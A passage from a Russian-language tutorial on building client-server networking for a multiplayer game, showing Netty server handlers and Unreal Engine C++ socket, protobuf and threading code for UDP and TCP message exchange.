static const google::protobuf::FieldDescriptor\* captchaCheckStatus\_ich;
static const google::protobuf::FieldDescriptor\* publicKey\_reg;
static const google::protobuf::FieldDescriptor\* stateCode\_reg;
static const google::protobuf::FieldDescriptor\* publicKey\_log;
static const google::protobuf::FieldDescriptor\* stateCode\_log;
static const google::protobuf::FieldDescriptor\* registration\_cw;
static const google::protobuf::FieldDescriptor\* login\_cw;
static const google::protobuf::FieldDescriptor\* initialState\_cw;
static const google::protobuf::FieldDescriptor\* room\_cw;
static const google::protobuf::FieldDescriptor\* mainMenu\_cw;
static const google::protobuf::FieldDescriptor\* gameModels\_cw;
static const google::protobuf::FieldDescriptor\* chat\_mm;
static const google::protobuf::FieldDescriptor\* nameField\_chat;
static const google::protobuf::FieldDescriptor\* player\_sub;
static const google::protobuf::FieldDescriptor\* player\_team;
static const google::protobuf::FieldDescriptor\* chat\_room;
};
// Copyright (c) 2017, Vadim Petrov - MIT License
#include "Spiky\_Client.h"
#include "Descriptors.h"
#include "Protobufs/RegLogModels.pb.h"
#include "Protobufs/MessageModels.pb.h"
#include "Protobufs/MainMenuModels.pb.h"
const google::protobuf::FieldDescriptor\* Descriptors::captchaDataField\_ich = InputChecking::default\_instance().descriptor()->FindFieldByName("captchaData");
const google::protobuf::FieldDescriptor\* Descriptors::loginCheckStatus\_ich = InputChecking::default\_instance().descriptor()->FindFieldByName("loginCheckStatus");
const google::protobuf::FieldDescriptor\* Descriptors::mailCheckStatus\_ich = InputChecking::default\_instance().descriptor()->FindFieldByName("mailCheckStatus");
const google::protobuf::FieldDescriptor\* Descriptors::captchaCheckStatus\_ich = InputChecking::default\_instance().descriptor()->FindFieldByName("captchaCheckStatus");
const google::protobuf::FieldDescriptor\* Descriptors::publicKey\_reg = Registration::default\_instance().descriptor()->FindFieldByName("publicKey");
const google::protobuf::FieldDescriptor\* Descriptors::stateCode\_reg = Registration::default\_instance().descriptor()->FindFieldByName("stateCode");
const google::protobuf::FieldDescriptor\* Descriptors::publicKey\_log = Login::default\_instance().descriptor()->FindFieldByName("publicKey");
const google::protobuf::FieldDescriptor\* Descriptors::stateCode\_log = Login::default\_instance().descriptor()->FindFieldByName("stateCode");
const google::protobuf::FieldDescriptor\* Descriptors::registration\_cw = CryptogramWrapper::default\_instance().descriptor()->FindFieldByName("registration");
const google::protobuf::FieldDescriptor\* Descriptors::login\_cw = CryptogramWrapper::default\_instance().descriptor()->FindFieldByName("login");
const google::protobuf::FieldDescriptor\* Descriptors::initialState\_cw = CryptogramWrapper::default\_instance().descriptor()->FindFieldByName("initialState");
const google::protobuf::FieldDescriptor\* Descriptors::room\_cw = CryptogramWrapper::default\_instance().descriptor()->FindFieldByName("room");
const google::protobuf::FieldDescriptor\* Descriptors::mainMenu\_cw = CryptogramWrapper::default\_instance().descriptor()->FindFieldByName("mainMenu");
const google::protobuf::FieldDescriptor\* Descriptors::gameModels\_cw = CryptogramWrapper::default\_instance().descriptor()->FindFieldByName("gameModels");
const google::protobuf::FieldDescriptor\* Descriptors::chat\_mm = MainMenu::default\_instance().descriptor()->FindFieldByName("chat");
const google::protobuf::FieldDescriptor\* Descriptors::nameField\_chat = Chat::default\_instance().descriptor()->FindFieldByName("name");
const google::protobuf::FieldDescriptor\* Descriptors::player\_sub = SubscribeRoom::default\_instance().descriptor()->FindFieldByName("player");
const google::protobuf::FieldDescriptor\* Descriptors::player\_team = SubscribeRoom::default\_instance().descriptor()->FindFieldByName("team");
const google::protobuf::FieldDescriptor\* Descriptors::chat\_room = RoomDescribe::default\_instance().descriptor()->FindFieldByName("chat");
```
Сейчас нам нужно отправить с клиента на сервер Utility которое содержит единственное поле alive принимающее всегда значение true, тип bool позволит использовать минимальный размер сообщения, хочу заметить, чтобы отправить сообщение с полем false его нужно обернуть oneof v1 { bool alive = 1; }, если поле со значение false или ноль, считается что оно отсутствует, когда мы получим сообщение и захотим узнать есть ли alive, мы не сможем узнать это false или же поля просто нет (если поля нет, это сигнал к каким-то действиям, например). Так же мы всегда импортируем DisableWarnings чтобы отключить предупреждения. Каждое протобаф сообщение имеет свой класс, чтобы не приходилось перекомпилировать при любых изменениях всё. Сгенерируем командой классы:
`./protoc --cpp_out=c:/Spiky/Spiky_Client/Source/Spiky_Client/Protobufs --java_out=c:/Spiky/Spiky_Server/src/main/java *.proto`
Заголовок DisableWarnings обновился, не забудьте снова добавить подавление ошибок! (из файла add.txt).
**add.txt**
#define PROTOBUF\_INLINE\_NOT\_IN\_HEADERS 0
#pragma warning(disable:4100)
#pragma warning(disable:4127)
#pragma warning(disable:4125)
#pragma warning(disable:4267)
#pragma warning(disable:4389)
Для того чтобы проект в студии обновился и увидел новые файлы, нужно нажать ПКМ на .uproject и выбрать «Generate Visual Studio project files». Теперь с класом PackageHandler все в порядке, SimpleChannelInboundHandler найден, переопределим channelRead0 как от нас требуют, метод обрабатывающий все поступающие сообщения.
```
@Override
protected void channelRead0(ChannelHandlerContext ctx, MessageModels.Wrapper wrapper) throws Exception {
}
```
Добавим handlers в pipeline ServerInitializer:
```
public class ServerInitializer extends ChannelInitializer {
@Override
protected void initChannel(NioDatagramChannel ch) throws Exception {
ChannelPipeline pipeline = ch.pipeline();
/\* отладка \*/
pipeline.addLast(new LoggingHandler(LogLevel.INFO));
/\* proto декодер \*/
pipeline.addLast(new ProtoDecoderHandler());
/\* обработчик сообщений \*/
pipeline.addLast(new PackageHandler());
}
```
Откроем ProtoDecoderHandler добавим exceptionCaught, метод который вызывается в случаем ошибки, удобно закрывать канал или соединение с базой данных и channelReadComplete, где мы очищаем поток после записи в него. Тут же обновим channelRead0, мы читаем пакет, переводим его в массив байт который затем собираем в сообщение с помощью parseDelimitedFrom – он читает длину, затем само сообщение. Мы не отправляем дальше по обработчику, мы отправим сообщение обратно эхом.
**ProtoDecoderHandler**
```
/*
* Copyright (c) 2017, Vadim Petrov - MIT License
*/
package com.spiky.server.udp.handlers;
import com.spiky.server.protomodels.MessageModels;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.SimpleChannelInboundHandler;
import io.netty.channel.socket.DatagramPacket;
import java.io.ByteArrayInputStream;
public class ProtoDecoderHandler extends SimpleChannelInboundHandler {
@Override
protected void channelRead0(ChannelHandlerContext ctx, DatagramPacket datagramPacket) throws Exception {
ByteBuf buf = datagramPacket.content();
byte[] bytes = new byte[buf.readableBytes()];
int readerIndex = buf.readerIndex();
buf.getBytes(readerIndex, bytes);
ByteArrayInputStream input = new ByteArrayInputStream(bytes);
MessageModels.Wrapper wrapper = MessageModels.Wrapper.parseDelimitedFrom(input);
System.out.println("udp: ");
System.out.println(wrapper.toString());
System.out.println(datagramPacket.sender().getAddress() + " " + datagramPacket.sender().getPort());
// отправить обратно (эхо)
ctx.write(new DatagramPacket(Unpooled.copiedBuffer(datagramPacket.content()), datagramPacket.sender()));
}
@Override
public void channelReadComplete(ChannelHandlerContext ctx) throws Exception {
ctx.flush();
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
cause.printStackTrace();
ctx.close();
}
}
```
На клиенте реализуем слушатель и отправитель, в классе SocketObject. Нужно добавить новые функции SendByUDP и ReadDelimitedFrom, [реализация в c++](https://stackoverflow.com/questions/2340730/are-there-c-equivalents-for-the-protocol-buffers-delimited-i-o-functions-in-ja/) которого, в отличии от java к сожалению, отсутствует.
**SocketObject.cpp**
```
#include "Spiky_Client.h"
#include "SocketObject.h"
#include "Protobufs/MessageModels.pb.h"
#include
#include
#include
FSocket\* USocketObject::tcp\_socket = nullptr;
TSharedPtr USocketObject::tcp\_address = nullptr;
bool USocketObject::bIsConnection = false;
FSocket\* USocketObject::udp\_socket = nullptr;
TSharedPtr USocketObject::udp\_address = nullptr;
FUdpSocketReceiver\* USocketObject::UDPReceiver = nullptr;
int32 USocketObject::tcp\_local\_port = 0;
int32 USocketObject::udp\_local\_port = 0;
USocketObject::~USocketObject()
{
if (tcp\_socket != nullptr || udp\_socket != nullptr)
{
tcp\_socket->Close();
delete tcp\_socket;
delete udp\_socket;
}
}
void USocketObject::InitSocket(FString serverAddress, int32 tcp\_local\_p, int32 tcp\_server\_port, int32 udp\_local\_p, int32 udp\_server\_port)
{
int32 BufferSize = 2 \* 1024 \* 1024;
tcp\_local\_port = tcp\_local\_p;
udp\_local\_port = udp\_local\_p;
// tcp
tcp\_socket = ISocketSubsystem::Get(PLATFORM\_SOCKETSUBSYSTEM)->CreateSocket(NAME\_Stream, TEXT("TCP\_SOCKET"), false);
// create a proper FInternetAddr representation
tcp\_address = ISocketSubsystem::Get(PLATFORM\_SOCKETSUBSYSTEM)->CreateInternetAddr();
// parse server address
FIPv4Address serverIP;
FIPv4Address::Parse(serverAddress, serverIP);
// and set
tcp\_address->SetIp(serverIP.Value);
tcp\_address->SetPort(tcp\_server\_port);
tcp\_socket->Connect(\*tcp\_address);
// set the initial connection state
bIsConnection = Alive();
// udp
udp\_address = ISocketSubsystem::Get(PLATFORM\_SOCKETSUBSYSTEM)->CreateInternetAddr();
FIPv4Address::Parse(serverAddress, serverIP);
udp\_address->SetIp(serverIP.Value);
udp\_address->SetPort(udp\_server\_port);
udp\_socket = FUdpSocketBuilder("UDP\_SOCKET")
.AsReusable()
.BoundToPort(udp\_local\_port)
.WithBroadcast()
.WithReceiveBufferSize(BufferSize)
.WithSendBufferSize(BufferSize)
.Build();
}
void USocketObject::RunUdpSocketReceiver()
{
FTimespan ThreadWaitTime = FTimespan::FromMilliseconds(30);
UDPReceiver = new FUdpSocketReceiver(udp\_socket, ThreadWaitTime, TEXT("UDP\_RECEIVER"));
UDPReceiver->OnDataReceived().BindStatic(&USocketObject::Recv);
UDPReceiver->Start();
}
void USocketObject::Recv(const FArrayReaderPtr& ArrayReaderPtr, const FIPv4Endpoint& EndPt)
{
GLog->Log("Reveived UDP data");
uint8\_t \* buffer = ArrayReaderPtr->GetData();
size\_t size = ArrayReaderPtr->Num();
GLog->Log("Size of incoming data: " + FString::FromInt(size));
google::protobuf::io::ArrayInputStream arr(buffer, size);
google::protobuf::io::CodedInputStream input(&arr);
std::shared\_ptr wrapper(new Wrapper);
ReadDelimitedFrom(&input, wrapper.get());
std::string msg;
wrapper->SerializeToString(&msg);
GLog->Log(msg.c\_str());
}
bool USocketObject::SendByUDP(google::protobuf::Message \* message)
{
Wrapper wrapper;
if (message->GetTypeName() == "Utility")
{
Utility \* mes = static\_cast(message);
wrapper.set\_allocated\_utility(mes);
}
size\_t size = wrapper.ByteSize() + 5; // include size, varint32 never takes more than 5 bytes
uint8\_t \* buffer = new uint8\_t[size];
google::protobuf::io::ArrayOutputStream arr(buffer, size);
google::protobuf::io::CodedOutputStream output(&arr);
output.WriteVarint32(wrapper.ByteSize());
wrapper.SerializeToCodedStream(&output);
if (wrapper.has\_utility())
{
wrapper.release\_utility();
}
int32 bytesSent = 0;
bool sentState = false;
sentState = udp\_socket->SendTo(buffer, output.ByteCount(), bytesSent, \*udp\_address);
delete[] buffer;
return sentState;
}
bool USocketObject::ReadDelimitedFrom(google::protobuf::io::CodedInputStream \* input, google::protobuf::MessageLite \* message)
{
// Read the size.
uint32\_t size;
if (!input->ReadVarint32(&size)) return false;
// Tell the stream not to read beyond that size.
google::protobuf::io::CodedInputStream::Limit limit = input->PushLimit(size);
// Parse the message.
if (!message->MergeFromCodedStream(input)) return false;
if (!input->ConsumedEntireMessage()) return false;
// Release the limit.
input->PopLimit(limit);
return true;
}
void USocketObject::Reconnect()
{
}
bool USocketObject::Alive()
{
return false;
}
```
RunUdpSocketReceiver – задаёт скорость проверки новых сообщений, делегирует входящие данные Recv. Recv – читает размер, парсит байты с помощью ReadDelimitedFrom и создаёт обёртку Wrapper. SendByUDP – отправляет по UDP, на вход подаём сообщения различных форматов, определяем что за формат внутри, оборачиваем, сериализуем, и отправляем.
Откроем SpikyGameMode, будем отправлять сообщения на сервер нажатие клавиши Q.
```
virtual void BeginPlay() override;
virtual void EndPlay(const EEndPlayReason::Type EndPlayReason) override;
void TestSendUPDMessage();
```
В BeginPlay добавим возможность реагировать на пользовательский ввод, установив:
```
EnableInput(GetWorld()->GetFirstPlayerController());
InputComponent->BindAction("Q", IE_Pressed, this, &ASpikyGameMode::TestSendUPDMessage);
```
В EndPlay просто добавим лог сообщение, чтобы видеть когда game mode завершается, или переключается на другой. TestSendUPDMessage – функция которая вызывается при нажатии на клавишу Q.
```
void ASpikyGameMode::TestSendUPDMessage()
{
GLog->Log("send ->>>");
std::shared_ptr utility(new Utility);
utility->set\_alive(true);
USocketObject::SendByUDP(utility.get());
}
```
**SpikyGameMode.cpp**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
#include "Spiky_Client.h"
#include "SpikyGameMode.h"
#include "SocketObject.h"
#include "Runtime/Engine/Classes/Engine/World.h"
#include "Protobufs/UtilityModels.pb.h"
void ASpikyGameMode::BeginPlay()
{
Super::BeginPlay();
GLog->Log("AClientGameMode::BeginPlay()");
EnableInput(GetWorld()->GetFirstPlayerController());
InputComponent->BindAction("Q", IE_Pressed, this, &ASpikyGameMode::TestSendUPDMessage);
}
void ASpikyGameMode::EndPlay(const EEndPlayReason::Type EndPlayReason)
{
Super::EndPlay(EndPlayReason);
GLog->Log("AClientGameMode::EndPlay()");
}
void ASpikyGameMode::TestSendUPDMessage()
{
GLog->Log("send ->>>");
std::shared_ptr utility(new Utility);
utility->set\_alive(true);
USocketObject::SendByUDP(utility.get());
}
```
Откроем SpikyGameInstance и инициализируем сокеты при запуске игры, добавим функции которые вызываются с началом и завершением игры:
```
virtual void Init() override;
virtual void Shutdown() override;
```
Нам понадобится еще один класс Config, где мы будем как на сервере хранить различные статические настройки. Создадим его (Spiky\_Client/Source/Spiky\_Client/Public), без родителя, поместим туда адреса, порты и флаг что криптография включена (на будущее).
**Config.h/Config.cpp**
```
// .h
// Copyright (c) 2017, Vadim Petrov - MIT License
#pragma once
#include
class Config
{
public:
static std::string address;
static size\_t tcp\_local\_port;
static size\_t tcp\_server\_port;
static size\_t udp\_local\_port;
static size\_t udp\_server\_port;
static bool bEnableCrypt;
};
// .cpp
// Copyright (c) 2017, Vadim Petrov - MIT License
#include "Spiky\_Client.h"
#include "Config.h"
bool Config::bEnableCrypt = true;
std::string Config::address = "127.0.0.1";
size\_t Config::tcp\_local\_port = 7678;
size\_t Config::tcp\_server\_port = 7680;
size\_t Config::udp\_local\_port = 7679;
size\_t Config::udp\_server\_port = 7681;
```
Теперь инициализируем сокеты в SpikyGameInstance::Init()
```
void USpikyGameInstance::Init()
{
GLog->Log("UClientGameInstance::Init()");
USocketObject::InitSocket(Config::address.c_str(), Config::tcp_local_port, Config::tcp_server_port, Config::udp_local_port, Config::udp_server_port);
// запустить поток слушающий udp сокет
USocketObject::RunUdpSocketReceiver();
}
```
Осталось только выставить в редакторе реакцию на нажатие клавиш, для этого заходим в Edit → Project Settings → Input → Action Mapping жмём + в текстовом поле пишем Q имя которое мы указали в коде, и добавляем кнопку Q, всё!
После запуска сервера и клиента, по нажатию кнопки в логе сервера благодаря LoggingHandler мы увидим примерно следующие:
`udp:
utility {
alive: true
}
/127.0.0.1 7679
июл 10, 2017 4:42:30 PM io.netty.handler.logging.LoggingHandler channelRead
INFO: [id: 0x89373e1f, L:/0:0:0:0:0:0:0:0:7681] RECEIVED: DatagramPacket(/127.0.0.1:7679 => /0:0:0:0:0:0:0:0:7681, PooledUnsafeDirectByteBuf(ridx: 0, widx: 5, cap: 2048)), 5B
+-------------------------------------------------+
| 0 1 2 3 4 5 6 7 8 9 a b c d e f |
+--------+-------------------------------------------------+----------------+
|00000000| 04 0a 02 08 01 |..... |
+--------+-------------------------------------------------+----------------+
июл 10, 2017 4:42:30 PM io.netty.handler.logging.LoggingHandler write
INFO: [id: 0x89373e1f, L:/0:0:0:0:0:0:0:0:7681] WRITE: DatagramPacket(=> /127.0.0.1:7679, UnpooledUnsafeHeapByteBuf(ridx: 0, widx: 5, cap: 5)), 5B
+-------------------------------------------------+
| 0 1 2 3 4 5 6 7 8 9 a b c d e f |
+--------+-------------------------------------------------+----------------+
|00000000| 04 0a 02 08 01 |..... |
+--------+-------------------------------------------------+----------------+
июл 10, 2017 4:42:30 PM io.netty.handler.logging.LoggingHandler flush
INFO: [id: 0x89373e1f, L:/0:0:0:0:0:0:0:0:7681] FLUSH`
В Unreal Engine:
`Reveived UDP data
Size of incoming data: 5`
К теме UDP мы больше возвращаться не будем. Отключим на сервере и клиенте UDP функции и создание udp\_socket:
`ServerMain
//new Thread(ServerMain::run_udp).start();
SpikyGameInstance
// запустить поток слушающий udp сокет
//USocketObject::RunUdpSocketReceiver();`
Состояние SocketObject на данный момент:
**SocketObject.cpp**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
#include "Spiky_Client.h"
#include "SocketObject.h"
#include "Protobufs/MessageModels.pb.h"
FSocket* USocketObject::tcp_socket = nullptr;
TSharedPtr USocketObject::tcp\_address = nullptr;
bool USocketObject::bIsConnection = false;
FSocket\* USocketObject::udp\_socket = nullptr;
TSharedPtr USocketObject::udp\_address = nullptr;
FUdpSocketReceiver\* USocketObject::UDPReceiver = nullptr;
int32 USocketObject::tcp\_local\_port = 0;
int32 USocketObject::udp\_local\_port = 0;
USocketObject::~USocketObject()
{
GLog->Log("USocketObject::~USocketObject()");
if (tcp\_socket != nullptr || udp\_socket != nullptr)
{
tcp\_socket->Close();
//UDPReceiver->Stop();
delete tcp\_socket;
delete udp\_socket;
}
}
void USocketObject::InitSocket(FString serverAddress, int32 tcp\_local\_p, int32 tcp\_server\_port, int32 udp\_local\_p, int32 udp\_server\_port)
{
int32 BufferSize = 2 \* 1024 \* 1024;
tcp\_local\_port = tcp\_local\_p;
udp\_local\_port = udp\_local\_p;
/\*
tcp\_socket = FTcpSocketBuilder("TCP\_SOCKET")
.AsNonBlocking() // Socket connect always success. Non blocking you say socket connect dont wait for response (Don?t block) so it will return true.
.AsReusable()
.WithReceiveBufferSize(BufferSize)
.WithSendBufferSize(BufferSize)
.Build();
\*/
// tcp
tcp\_socket = ISocketSubsystem::Get(PLATFORM\_SOCKETSUBSYSTEM)->CreateSocket(NAME\_Stream, TEXT("TCP\_SOCKET"), false);
// create a proper FInternetAddr representation
tcp\_address = ISocketSubsystem::Get(PLATFORM\_SOCKETSUBSYSTEM)->CreateInternetAddr();
// parse server address
FIPv4Address serverIP;
FIPv4Address::Parse(serverAddress, serverIP);
// and set
tcp\_address->SetIp(serverIP.Value);
tcp\_address->SetPort(tcp\_server\_port);
tcp\_socket->Connect(\*tcp\_address);
// set the initial connection state
bIsConnection = Alive();
// udp
udp\_address = ISocketSubsystem::Get(PLATFORM\_SOCKETSUBSYSTEM)->CreateInternetAddr();
FIPv4Address::Parse(serverAddress, serverIP);
udp\_address->SetIp(serverIP.Value);
udp\_address->SetPort(udp\_server\_port);
/\*
udp\_socket = FUdpSocketBuilder("UDP\_SOCKET")
.AsReusable()
.BoundToPort(udp\_local\_port)
.WithBroadcast()
.WithReceiveBufferSize(BufferSize)
.WithSendBufferSize(BufferSize)
.Build();
\*/
}
void USocketObject::RunUdpSocketReceiver()
{
FTimespan ThreadWaitTime = FTimespan::FromMilliseconds(100);
UDPReceiver = new FUdpSocketReceiver(udp\_socket, ThreadWaitTime, TEXT("UDP\_RECEIVER"));
UDPReceiver->OnDataReceived().BindStatic(&USocketObject::Recv);
UDPReceiver->Start();
}
void USocketObject::Recv(const FArrayReaderPtr& ArrayReaderPtr, const FIPv4Endpoint& EndPt)
{
GLog->Log("Reveived UDP data");
uint8\_t \* buffer = ArrayReaderPtr->GetData();
size\_t size = ArrayReaderPtr->Num();
GLog->Log("Size of incoming data: " + FString::FromInt(size));
google::protobuf::io::ArrayInputStream arr(buffer, size);
google::protobuf::io::CodedInputStream input(&arr);
std::shared\_ptr wrapper(new Wrapper);
ReadDelimitedFrom(&input, wrapper.get());
std::string msg;
wrapper->SerializeToString(&msg);
GLog->Log(msg.c\_str());
}
bool USocketObject::SendByUDP(google::protobuf::Message \* message)
{
Wrapper wrapper;
if (message->GetTypeName() == "Utility")
{
Utility \* mes = static\_cast(message);
wrapper.set\_allocated\_utility(mes);
}
size\_t size = wrapper.ByteSize() + 5; // include size, varint32 never takes more than 5 bytes
uint8\_t \* buffer = new uint8\_t[size];
google::protobuf::io::ArrayOutputStream arr(buffer, size);
google::protobuf::io::CodedOutputStream output(&arr);
output.WriteVarint32(wrapper.ByteSize());
wrapper.SerializeToCodedStream(&output);
if (wrapper.has\_utility())
{
wrapper.release\_utility();
}
int32 bytesSent = 0;
bool sentState = false;
sentState = udp\_socket->SendTo(buffer, output.ByteCount(), bytesSent, \*udp\_address);
delete[] buffer;
return sentState;
}
void USocketObject::Reconnect()
{
}
bool USocketObject::Alive()
{
return false;
}
bool USocketObject::ReadDelimitedFrom(google::protobuf::io::CodedInputStream \* input, google::protobuf::MessageLite \* message)
{
// Read the size.
uint32\_t size;
if (!input->ReadVarint32(&size)) return false;
// Tell the stream not to read beyond that size.
google::protobuf::io::CodedInputStream::Limit limit = input->PushLimit(size);
// Parse the message.
if (!message->MergeFromCodedStream(input)) return false;
if (!input->ConsumedEntireMessage()) return false;
// Release the limit.
input->PopLimit(limit);
return true;
}
```
Сделаем все тоже самое для TCP. Создадим пакет Handlers и добавим туда два пустых класса DecryptHandler, EncryptHandler. Все сообщения будут приходить зашифрованными, проходить через DecryptHandler, расшифровываться и затем в зависимости от типа направляться дальше на обработку. Откроем ServerInitializer нам нужно подготовить сообщение с помощью встроенных в Netty протобаф декодеров. Добавим в pipeline протобаф инкодеры и декодеры:
```
// Decoders protobuf
pipeline.addLast(new ProtobufVarint32FrameDecoder());
pipeline.addLast(new ProtobufDecoder(MessageModels.Wrapper.getDefaultInstance()));
// Encoder protobuf
pipeline.addLast(new ProtobufVarint32LengthFieldPrepender());
pipeline.addLast(new ProtobufEncoder());
```
Расширяем DecryptHandler extends MessageToMessageDecoder, переопределяем метод decode и добавляем последним в pipeline:
```
/* расшифруем входящее сообщение */
pipeline.addLast(new DecryptHandler());
```
Мы никак не обрабатываем alive сообщения на сервере, отправляем обратно эхом в DecryptHandler:
```
ctx.writeAndFlush(wrapper);
```
Вернёмся к отправке сообщений на клиенте. Состояние сервера мы будем проверят отправкой сообщения каждую секунду с помощью отдельного потока. В Unreal есть несколько способов создать поток, самое простое это создать [таймер](http://www.tomlooman.com/using-timers-in-ue4/). Есть еще Task, созданные для небольших задач, пример с поиском простых чисел:
[Implementing Multithreading in UE4](http://orfeasel.com/implementing-multithreading-in-ue4/)
[Multi-Threading: Task Graph System](https://wiki.unrealengine.com/Multi-Threading:_Task_Graph_System)
[Engine/Source/Runtime/Core/Public/Async/AsyncWork.h](https://github.com/EpicGames/UnrealEngine/blob/e528f9f7fa161504dd629c3b390deac93650e43a/Engine/Source/Runtime/Core/Public/Async/AsyncWork.h)
А можно реализовать интерфейс [FRunnable](https://docs.unrealengine.com/latest/INT/API/Runtime/Core/HAL/FRunnable/index.html) чем мы и займёмся.
[Multi-Threading: How to Create Threads in UE4](https://wiki.unrealengine.com/Multi-Threading:_How_to_Create_Threads_in_UE4)
Создадим в папке Net класс ServerStatusCheckingTh с родителем FRunnable.
**FServerStatusCheckingTh**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
#pragma once
#include "Runtime/Core/Public/HAL/Runnable.h"
#include "Runtime/Core/Public/HAL/RunnableThread.h"
class SPIKY_CLIENT_API FServerStatusCheckingTh : public FRunnable
{
// Singleton instance, can access the thread any time via static accessor, if it is active!
static FServerStatusCheckingTh* Runnable;
// Thread to run the worker FRunnable on
FRunnableThread* Thread;
// The way to stop
static bool bThreadRun;
public:
FServerStatusCheckingTh();
~FServerStatusCheckingTh();
// FRunnable interface
virtual bool Init();
virtual uint32 Run();
// Logics
static FServerStatusCheckingTh* RunServerChecking();
// Shuts down the thread. Static so it can easily be called from outside the thread context
static void Shutdown();
};
// Copyright (c) 2017, Vadim Petrov - MIT License
#include "Spiky_Client.h"
#include "ServerStatusCheckingTh.h"
#include "SocketObject.h"
FServerStatusCheckingTh* FServerStatusCheckingTh::Runnable = nullptr;
bool FServerStatusCheckingTh::bThreadRun = false;
FServerStatusCheckingTh::FServerStatusCheckingTh()
{
Thread = FRunnableThread::Create(this, TEXT("ServerStatusChecking"), 0, TPri_BelowNormal);
}
FServerStatusCheckingTh::~FServerStatusCheckingTh()
{
delete Thread;
Thread = nullptr;
}
bool FServerStatusCheckingTh::Init()
{
bThreadRun = true;
return true;
}
uint32 FServerStatusCheckingTh::Run()
{
while (bThreadRun)
{
FPlatformProcess::Sleep(1.f); // проверять каждую секунду
if (!USocketObject::bIsConnection) // если нет соединения, переподключиться
{
USocketObject::Reconnect();
}
else
{
USocketObject::bIsConnection = USocketObject::Alive(); // если пакеты перестают доходить, значит сервер оффлайн
}
// удобно в отладке
//GLog->Log("Connect state (bIsConnection) = " + FString::FromInt((int32)USocketObject::bIsConnection) + " | FServerStatusCheckingTh::CheckServer");
}
return 0;
}
FServerStatusCheckingTh* FServerStatusCheckingTh::RunServerChecking()
{
if (!Runnable && FPlatformProcess::SupportsMultithreading())
{
Runnable = new FServerStatusCheckingTh();
}
return Runnable;
}
void FServerStatusCheckingTh::Shutdown()
{
bThreadRun = false;
GLog->Log("FServerStatusCheckingTh::Shutdown()");
if (Runnable)
{
delete Runnable;
Runnable = nullptr;
}
}
```
Мы запускаем поток вызовом RunServerChecking(), который проходит через Init, Run и Exit. Завершаем Shutdown(). Каждую секунду мы отправляем сообщение Alive и если сообщения не доходят, пробуем переподключиться вызывая Reconnect. Реализуем Reconnect и Alive в USocketObject. Reconnect – закрывает сокет, приводит адрес в нормальный вид и снова инициализирует сокеты. Alive – создаёт сообщение и сразу же его отправляет:
```
void USocketObject::Reconnect()
{
tcp_socket->Close();
uint32 OutIP;
tcp_address->GetIp(OutIP);
FString ip = FString::Printf(TEXT("%d.%d.%d.%d"), 0xff & (OutIP >> 24), 0xff & (OutIP >> 16), 0xff & (OutIP >> 8), 0xff & OutIP);
InitSocket(ip, tcp_local_port, tcp_address->GetPort(), udp_local_port, udp_address->GetPort());
}
bool USocketObject::Alive()
{
std::shared_ptr utility(new Utility);
utility->set\_alive(true);
// Send пока отсутствует, параметры: сообщение, шифровать? По tcp?
return UMessageEncoder::Send(utility.get(), false, true);
}
```
Создадим папку Handlers и классы MessageDecoder и MessageEncoder производные от UObject на подобии декодера и инкодера сервера этот классы занимаются расшифрованием/шифрованием и разверткой/обёрткой входящих/исходящих сообщений. Добавим #include «MessageEncoder.h» в SocketObject и скомпилируем.
Нам нужен слушатель входящих сообщений, для этого создадим в Net класс, отдельный поток TCPSocketListeningTh с родителем FRunnable. Тут мы проверяем наличие соединения, и устанавливаем скорость работы потока, чтобы не работать зря, читаем, преобразовываем байты в protobuf, отправляем на обработку в главном игровом потоке:
**FTCPSocketListeningTh**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
#pragma once
#include "Runtime/Core/Public/HAL/Runnable.h"
#include "Runtime/Core/Public/HAL/RunnableThread.h"
class SPIKY_CLIENT_API FTCPSocketListeningTh : public FRunnable
{
FRunnableThread* Thread;
static FTCPSocketListeningTh* Runnable;
static bool bThreadRun;
public:
FTCPSocketListeningTh();
~FTCPSocketListeningTh();
virtual bool Init();
virtual uint32 Run();
static FTCPSocketListeningTh* RunSocketListening();
static void Shutdown();
};
#include "Spiky_Client.h"
#include "TCPSocketListeningTh.h"
#include "SocketObject.h"
#include "MessageDecoder.h"
#include
#include
#include "Protobufs/MessageModels.pb.h"
#include "Async.h"
FTCPSocketListeningTh\* FTCPSocketListeningTh::Runnable = nullptr;
bool FTCPSocketListeningTh::bThreadRun = false;
FTCPSocketListeningTh::FTCPSocketListeningTh()
{
Thread = FRunnableThread::Create(this, TEXT("TCP\_RECEIVER"), 0, TPri\_BelowNormal);
}
FTCPSocketListeningTh::~FTCPSocketListeningTh()
{
delete Thread;
Thread = nullptr;
}
bool FTCPSocketListeningTh::Init()
{
bThreadRun = true;
return true;
}
uint32 FTCPSocketListeningTh::Run()
{
while (bThreadRun)
{
// проверить наличие соединения
if (USocketObject::bIsConnection == false) // нет соединения
{
FPlatformProcess::Sleep(1.f); // скорость работы потока, медленно
}
else
{
FPlatformProcess::Sleep(0.03f);
if (!USocketObject::tcp\_socket) return 0;
//Binary Array!
TArray ReceivedData;
uint32 Size;
while (USocketObject::tcp\_socket->HasPendingData(Size)) // пока есть что читать
{
ReceivedData.Init(FMath::Min(Size, 65507u), Size);
int32 Read = 0;
USocketObject::tcp\_socket->Recv(ReceivedData.GetData(), ReceivedData.Num(), Read);
}
if (ReceivedData.Num() > 0)
{
GLog->Log(FString::Printf(TEXT("Data Read! %d"), ReceivedData.Num()) + " | FTCPSocketListeningTh::Run");
// преобразовать байты в protobuf
uint8\_t \* buffer = ReceivedData.GetData();
size\_t size = ReceivedData.Num();
google::protobuf::io::ArrayInputStream arr(buffer, size);
google::protobuf::io::CodedInputStream input(&arr);
bool protosize = true;
/\* в одном пакете может быть несколько протобаф сообщений, tcp накапливает если сообщения слишком маленькие \*/
while (protosize)
{
std::shared\_ptr wrapper(new Wrapper);
protosize = USocketObject::ReadDelimitedFrom(&input, wrapper.get());
/\* многое должно выполняться в игровом потоке, отправить на обработку \*/
AsyncTask(ENamedThreads::GameThread, [wrapper]() {
UMessageDecoder \* Handler = NewObject(UMessageDecoder::StaticClass());
Handler->SendProtoToDecoder(wrapper.get());
});
}
}
}
}
return 0;
}
FTCPSocketListeningTh\* FTCPSocketListeningTh::RunSocketListening()
{
if (!Runnable && FPlatformProcess::SupportsMultithreading())
{
Runnable = new FTCPSocketListeningTh();
}
return Runnable;
}
